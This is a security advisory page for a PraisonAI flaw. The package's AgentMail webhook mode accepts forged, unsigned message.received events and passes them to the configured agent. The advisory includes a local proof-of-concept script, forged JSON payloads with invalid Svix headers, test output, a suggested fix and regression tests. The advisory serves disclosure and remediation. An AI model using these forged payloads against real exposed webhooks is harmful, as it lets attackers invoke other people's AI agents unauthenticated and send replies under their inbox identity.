PkgSeer

Vulnerability GHSA-7c92-x8vg-4258

High Risk
HIGH RISK
CVSS Score: 8.6
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
3 hours ago
October 07, 2026 at 02:07 PM UTC
PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
0.0.1 - 4.6.77
0.0.1 - 4.6.77

Summary

PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents

Details

AgentMail webhook mode accepts forged unsigned message.received events and invokes agents

Summary

praisonai AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled message.received JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.

Technical Details

The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes svix-id, svix-timestamp, and svix-signature headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as AGENTMAIL_WEBHOOK_SECRET, before trusting the event body. AgentMail's documented verified payload examples route on event_type; the forged payload below intentionally uses PraisonAI's accepted handler shape, type plus data, because that is the shape _handle_email_webhook() accepts before any signature verification.

src/praisonai/praisonai/bots/agentmail.py exposes webhook mode through AgentMailBot(mode=...) or a BotConfig whose mode is webhook. In _start_webhook_mode(), PraisonAI registers POST {webhook_path} and binds the aiohttp site to 0.0.0.0 on the configured webhook port. When config.webhook_url is set, the same method calls client.webhooks.create(url=..., event_types=["message.received"], inbox_ids=...), but it does not store or use the returned webhook secret.

The handler then trusts the parsed JSON body. _handle_email_webhook() calls await request.json(), reads body.get("type", ""), and if the value is message.received, schedules _process_webhook_payload(body) and returns 200 OK. It does not read the raw body, inspect request headers, verify svix-id, verify svix-timestamp, verify svix-signature, or check any webhook secret before scheduling the event.

_process_webhook_payload() builds a BotMessage from attacker-controlled JSON fields: data.message_id, data.from/data.from_, data.subject, data.extracted_text/data.text, data.thread_id, and data.in_reply_to. It then calls _handle_message(message). _handle_message() fires message hooks, calls self._session.chat(self._agent, sender_id, body, ...), and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.

This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed MessageReceivedEvent instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.

PoV

the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.

The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level type field with value message.received and a nested data object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using event_type after Svix verification. The issue is that PraisonAI accepts the unauthenticated type/data body and dispatches it before verifying that the request came from AgentMail.

Essential PoV excerpt:

class FakeRequest:
    def __init__(self, body, headers=None, json_error=False):
        self._body = body
        self.headers = headers or {}
        self._json_error = json_error

    async def json(self):
        if self._json_error:
            raise ValueError("invalid json")
        return self._body

bot = AgentMailBot(
    token="am_local_test",
    agent=object(),
    inbox_id="[email protected]",
    config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "[email protected]"
bot._email_address = "[email protected]"
bot._config = {}
bot._session = RecordingSession()

payload = {
    "type": "message.received",
    "data": {
        "message_id": "msg-forged-invalid-svix",
        "from": "[email protected]",
        "subject": "Forged invalid signature",
        "extracted_text": "invalid signature forged body",
    },
}
headers = {
    "svix-id": "msg_bad",
    "svix-timestamp": "1",
    "svix-signature": "v1,definitely-invalid",
}

response = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))
await asyncio.sleep(0)

Expected vulnerable behavior: the response status is 200, the invalid Svix signature is ignored, and the fake session records one agent call with sender_id set to [email protected] and body set to invalid signature forged body.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753

Run against a local checkout of current head:

python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c

Decisive current-head output:

{
  "label": "current-head-846568c",
  "vulnerable": true,
  "cases": {
    "forged_unsigned_message": {
      "http_status": 200,
      "session_delta": 1,
      "send_delta": 1
    },
    "forged_invalid_svix_signature": {
      "http_status": 200,
      "session_delta": 1,
      "send_delta": 1
    },
    "invalid_json_control": {
      "http_status": 400,
      "session_delta": 0
    },
    "non_message_event_control": {
      "http_status": 200,
      "session_delta": 0
    },
    "duplicate_message_control": {
      "http_status": 200,
      "session_delta": 0
    }
  }
}

Run against the latest release tag observed during testing:

python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47

Decisive v4.6.62 output:

{
  "label": "v4.6.62-2a855c47",
  "vulnerable": true,
  "cases": {
    "forged_unsigned_message": {
      "http_status": 200,
      "session_delta": 1,
      "send_delta": 1
    },
    "forged_invalid_svix_signature": {
      "http_status": 200,
      "session_delta": 1,
      "send_delta": 1
    },
    "invalid_json_control": {
      "http_status": 400,
      "session_delta": 0
    },
    "non_message_event_control": {
      "http_status": 200,
      "session_delta": 0
    },
    "duplicate_message_control": {
      "http_status": 200,
      "session_delta": 0
    }
  }
}

Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return 200 and reach the agent session once. Invalid JSON returns 400 without an agent call, non-message.received events are ignored, and repeated message_id values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.

Impact

If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.

The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.

This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.

Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6). Suggested CWEs: CWE-347 Improper Verification of Cryptographic Signature, CWE-306 Missing Authentication for Critical Function, and CWE-287 Improper Authentication.

Suggested Fix

Fail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by client.webhooks.create(...), or require an explicit agentmail_webhook_secret/AGENTMAIL_WEBHOOK_SECRET configuration value for existing webhook endpoints.

Verify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid svix-id, svix-timestamp, and svix-signature headers before scheduling _process_webhook_payload(). Do not use await request.json() as the verification input; signature verification needs the exact raw body bytes.

Suggested regression tests:

  • webhook mode without a configured signing secret refuses startup or returns 401/400 for message.received;
  • missing Svix headers do not call _process_webhook_payload();
  • invalid Svix signature does not call _process_webhook_payload();
  • stale timestamp does not call _process_webhook_payload();
  • valid Svix signature for the raw body reaches _process_webhook_payload();
  • duplicate message_id behavior remains intact after verification succeeds.

Affected Package/Versions

Affected package: pypi:praisonai.

Latest PyPI version observed during testing: 4.6.62. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected. Latest release tag v4.6.62 at commit 2a855c470077c7d2e2479a575f7ef7f548d51c33 is affected.

Sampled tag sweep:

v4.4.12   agentmail_absent
v4.5.16   agentmail_absent
v4.5.128  present_unsigned_webhook
v4.6.33   present_unsigned_webhook
v4.6.58   present_unsigned_webhook
v4.6.59   present_unsigned_webhook
v4.6.60   present_unsigned_webhook
v4.6.62   present_unsigned_webhook
current   present_unsigned_webhook

Conservative suggested affected range: AgentMail webhook-bearing praisonai releases at least >= 4.5.128, <= 4.6.62, plus current head. The component was absent in sampled tags v4.4.12 and v4.5.16. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix message.received events and dispatching them into AgentMailBot._handle_message().

Nearby advisories are distinct:

  • GHSA-fc26-m9pf-v56q, "PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.
  • GHSA-x92v-rpx6-p6cw, "Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.
  • GHSA-qvpf-j64c-jmhr, "PraisonAI Slack app_mention bypasses configured user/channel authorization", covers Slack event authorization, not AgentMail webhook authenticity.
  • GHSA-vg22-4gmj-prxw / CVE-2026-47391 cover unauthenticated A2A message/send, not AgentMail webhooks.
  • GHSA-86qc-r5v2-v6x6 covers the call server token gap, not AgentMail webhook delivery.

Public Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail message.received dispatch path.

References

Appendix A - Full PoV Script

#!/usr/bin/env python3
"""PoV for PraisonAI AgentMail webhook authenticity.

The script calls the AgentMail webhook handler directly with fake aiohttp
requests. It does not bind a port, contact AgentMail, or send email.
"""

from __future__ import annotations

import argparse
import asyncio
import json
import sys
import types
from pathlib import Path
from typing import Any


class FakeResponse:
    def __init__(self, status: int = 200, text: str = "", content_type: str | None = None):
        self.status = status
        self.text = text
        self.content_type = content_type


class FakeRequest:
    def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):
        self._body = body
        self.headers = headers or {}
        self._json_error = json_error

    async def json(self) -> dict[str, Any]:
        if self._json_error:
            raise ValueError("invalid json")
        return self._body or {}


class RecordingSession:
    def __init__(self) -> None:
        self.calls: list[dict[str, Any]] = []

    async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str:
        self.calls.append(
            {
                "sender_id": sender_id,
                "body": body,
                "chat_id": kwargs.get("chat_id"),
                "message_id": kwargs.get("message_id"),
                "account": kwargs.get("account"),
            }
        )
        return "local agent response"


def install_fake_aiohttp() -> None:
    web = types.SimpleNamespace(Response=FakeResponse)
    sys.modules["aiohttp"] = types.SimpleNamespace(web=web)


def configure_import_path(repo: Path) -> None:
    sys.path.insert(0, str(repo / "src" / "praisonai"))
    sys.path.insert(0, str(repo / "src" / "praisonai-agents"))


async def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]:
    before_calls = len(bot._session.calls)
    before_sends = len(bot._sent_messages)
    response = await bot._handle_email_webhook(request)
    for _ in range(sleep_ticks):
        await asyncio.sleep(0)
    return {
        "http_status": response.status,
        "session_delta": len(bot._session.calls) - before_calls,
        "send_delta": len(bot._sent_messages) - before_sends,
        "session_calls": bot._session.calls[before_calls:],
        "sent_messages": bot._sent_messages[before_sends:],
    }


async def main_async(repo: Path, label: str) -> dict[str, Any]:
    install_fake_aiohttp()
    configure_import_path(repo)

    from praisonai.bots.agentmail import AgentMailBot
    from praisonaiagents.bots import BotConfig

    bot = AgentMailBot(
        token="am_local_test",
        agent=object(),
        inbox_id="[email protected]",
        config=BotConfig(mode="webhook", webhook_path="/webhook"),
    )
    bot._inbox_id = "[email protected]"
    bot._email_address = "[email protected]"
    bot._config = {}
    bot._session = RecordingSession()
    bot._sent_messages = []

    async def fake_send_message(**kwargs: Any) -> None:
        bot._sent_messages.append(kwargs)

    bot.send_message = fake_send_message

    invalid_svix_headers = {
        "svix-id": "msg_bad",
        "svix-timestamp": "1",
        "svix-signature": "v1,definitely-invalid",
    }

    cases: dict[str, Any] = {}
    cases["forged_unsigned_message"] = await run_case(
        bot,
        FakeRequest(
            {
                "type": "message.received",
                "data": {
                    "message_id": "msg-forged-unsigned",
                    "from": "[email protected]",
                    "subject": "Forged unsigned message",
                    "extracted_text": "unsigned forged body",
                },
            }
        ),
    )
    cases["forged_invalid_svix_signature"] = await run_case(
        bot,
        FakeRequest(
            {
                "type": "message.received",
                "data": {
                    "message_id": "msg-forged-invalid-svix",
                    "from": "[email protected]",
                    "subject": "Forged invalid signature",
                    "extracted_text": "invalid signature forged body",
                },
            },
            headers=invalid_svix_headers,
        ),
    )
    cases["invalid_json_control"] = await run_case(bot, FakeRequest(None, json_error=True))
    cases["non_message_event_control"] = await run_case(
        bot,
        FakeRequest(
            {
                "type": "domain.verified",
                "data": {
                    "message_id": "msg-non-message",
                    "from": "[email protected]",
                    "extracted_text": "should not be processed",
                },
            }
        ),
    )
    cases["duplicate_message_control"] = await run_case(
        bot,
        FakeRequest(
            {
                "type": "message.received",
                "data": {
                    "message_id": "msg-forged-invalid-svix",
                    "from": "[email protected]",
                    "subject": "Duplicate",
                    "extracted_text": "duplicate should not create a second call",
                },
            },
            headers=invalid_svix_headers,
        ),
    )

    vulnerable = (
        cases["forged_unsigned_message"]["http_status"] == 200
        and cases["forged_unsigned_message"]["session_delta"] == 1
        and cases["forged_invalid_svix_signature"]["http_status"] == 200
        and cases["forged_invalid_svix_signature"]["session_delta"] == 1
        and cases["invalid_json_control"]["http_status"] == 400
        and cases["invalid_json_control"]["session_delta"] == 0
        and cases["non_message_event_control"]["session_delta"] == 0
        and cases["duplicate_message_control"]["session_delta"] == 0
    )

    return {
        "label": label,
        "repo": str(repo),
        "vulnerable": vulnerable,
        "finding": "AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session",
        "cases": cases,
    }


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--repo", type=Path, required=True)
    parser.add_argument("--label", default="current-head")
    args = parser.parse_args()
    result = asyncio.run(main_async(args.repo.resolve(), args.label))
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["vulnerable"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Related Vulnerabilities

Other vulnerabilities affecting the same packages

High Risk
3 hours ago
PraisonAI: AgentMail webhook lacks signature verification, allowing unauthenticated message injection and sender spoofing
0.0.1 - 4.6.77 GHSA-qj9c-59p6-8cgx
0.0.1 - 4.6.77 GHSA-qj9c-59p6-8cgx
High Risk
27 days ago
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
0.0.1 - 4.6.57 PYSEC-2026-3885
0.0.1 - 4.6.57 PYSEC-2026-3885
Critical
27 days ago
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
0.0.1 - 4.6.57 PYSEC-2026-3886
0.0.1 - 4.6.57 PYSEC-2026-3886
High Risk
27 days ago
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
0.0.1 - 4.6.57 PYSEC-2026-3889
0.0.1 - 4.6.57 PYSEC-2026-3889
High Risk
27 days ago
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
0.0.1 - 4.6.57 PYSEC-2026-3892
0.0.1 - 4.6.57 PYSEC-2026-3892
View all vulnerabilities for these packages

Impacted packages

Timeline

Published
3 hours ago
October 07, 2026 at 02:07 PM UTC
Last Modified
3 hours ago
October 07, 2026 at 02:16 PM UTC